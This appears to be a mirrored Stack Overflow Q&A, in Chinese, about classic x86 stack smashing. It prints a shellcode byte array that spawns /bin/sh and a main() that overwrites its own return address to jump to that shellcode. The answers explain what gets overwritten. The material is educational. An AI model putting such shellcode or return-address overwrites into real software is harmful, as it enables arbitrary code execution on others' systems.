【问题标题】:Do we overwrite EIP (return address) with an opcode or memory address?我们是否用操作码或内存地址覆盖 EIP(返回地址)?
【发布时间】:2011-04-21 18:01:33
【问题描述】:
char shellcode[] =        "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"        "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"        "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"        "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *ret;  
   ret = (int *)&ret + 2;  
   (*ret) = (int)shellcode;
}

据我所知,shellcode[] 是用于生成 shell 的十六进制操作码,代码的最后一行用操作码覆盖 ret。我们是在 RET 中插入操作码还是内存地址?

【问题讨论】:

  • 完全不清楚你想在这里问什么。
  • 已编辑.......................
  • 犯了一个错误,应该是eip而不是esi

标签: assembly x86 stack-overflow shellcode


【解决方案1】:

它不会覆盖返回操作码,它会覆盖堆栈上的返回地址(假设它靠近堆栈上声明的变量),因此当main() 返回时,它不会返回到_start+n,而是改为shellcode

【讨论】:

    【解决方案2】:

    堆栈上的 ret 寄存器是代码返回的位置,将操作码放在那里不会有太大帮助。我怀疑您要运行的代码地址是最有可能的候选者。耶!总体而言,最好考虑您正在与之交互的项目的用途以及它们的使用方式,而不是试图盲目地将数据转储到其中。

    【讨论】:

      【解决方案3】:

      就目前而言,它将地址插入到字符串中。我想在这种情况下,指出它完全不可移植并且几乎可以肯定是一个非常糟糕的主意有点浪费时间......

      【讨论】:

        猜你喜欢
        • 1970-01-01
        • 1970-01-01
        • 2021-12-02
        • 1970-01-01
        • 1970-01-01
        • 2016-12-23
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        相关资源
        最近更新 更多